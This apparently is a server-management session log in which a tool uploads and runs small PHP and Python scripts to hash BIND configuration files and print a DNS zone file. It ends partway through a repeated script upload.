MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 13:46:51: Establishing a connection
2026-05-06 13:46:52: 

PUT: /tmp/pkp583282

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 13:46:52: 

runuser -l bind -s /bin/bash -c '/tmp/pkp583282; rm /tmp/pkp583282'

2026-05-06 13:46:52: 
2026-05-06 13:46:52: 

PUT: /tmp/pkp499551

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-06 13:46:52: 

chmod 755 /tmp/pkp499551; /tmp/pkp499551; rm /tmp/pkp499551

2026-05-06 13:46:52: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt	2094
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
pjy.us.                  		 IN    SOA      	pjy.us. hostmaster.pjy.us. ( 135612686 14400 3600 14400 3600 )
pjy.us.                  		 IN    NS       	ns1.hostz.org.
pjy.us.                  		 IN    NS       	ns2.hostz.org.
pjy.us.                   60	 IN    A        	94.177.8.99
@                        		 IN    MX       	10 mail.emessage.email.
@                        		 IN    TXT      	"google-site-verification=ZtHGz_iSYmEil9sMSPUDIl9d6IDFBLjzeNlYE2SfdQM"
_acme-challenge           60	 IN    TXT      	"MYZhN4zxqGn4U1GOxIFv8doVTsa7o1OxWR4Cwp6dovM"
_acme-challenge           60	 IN    TXT      	"h_63sRi7wLv3VpyJT5ADDvMkuAXXgEHcxDFo_37yAhs"
mail._domainkey           300	 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA475QNvlpQCiGASeKJCw/3JWK/doJrCzE7FwPZQ+5uzZtbYa/xHmrd5HZKPgy9ohyeqvdcjYTMCtb+J9Hj+lG90gaO/OiIgMpkck6UvFEXoXQQzPTChI1Jm1JaDmbq9u3Qxatb9Wr/Zd88ytfn6tdNATtyvzZcQw2HFHooDxWlsRW+wXi3j5UL0yL4CeL" "CzmSUiO74QQUPqqjljsKvRvbZmsGhHm/NW5RYG/L2yYjWMlhnEAgaE+v4oMDQHnb06Lf2fuoGJ2C2EJtoY1ZaqhvjA2+4kT7BXO3NItVFe+EyKpPhYBcqtuCsYUDH6eScwOHBp0rjTggUg9IUFLEGFoLPwIDAQAB"
alive                    		 IN    CNAME    	home.stoughton.link.
_acme-challenge.city      60	 IN    TXT      	"UeRMkqu8_l2gRItyFHba1VXxbuTR3icuWFS2-fYdY3g"
desktop                  		 IN    A        	192.168.1.174
_acme-challenge.desktop   60	 IN    TXT      	"l9WeTDaGjg8OuobZhMGe8q_0Jb8jwvfMlSNambIH7bM"
eggshell                 		 IN    A        	94.177.8.99
y4it37yvzcuq.eggshell     60	 IN    CNAME    	gv-4p2uru6b7qnnw2.dv.googlehosted.com.
files                    		 IN    A        	74.208.130.81
home                     		 IN    A                86.106.182.72
_acme-challenge.home      60	 IN    TXT      	"bRrZQ9sTYYin--ZqX6Nzib8yi276mLv4bQdTqFNny2I"
hub                       300	 IN    A        	94.177.8.99
mysql                    		 IN    CNAME    	home.stoughton.link.
pkp                      		 IN    A        	94.177.8.99
www.pjy.us.               60	 IN    CNAME    	@






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 23fffb551d59be1ba6da9a294544c861
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f9ea658466eb204a08ba64bebb958934
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 13:49:49: Establishing a connection
2026-05-06 13:49:55: Establishing a connection
2026-05-06 13:49:55: 

PUT: /tmp/pkp730033

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
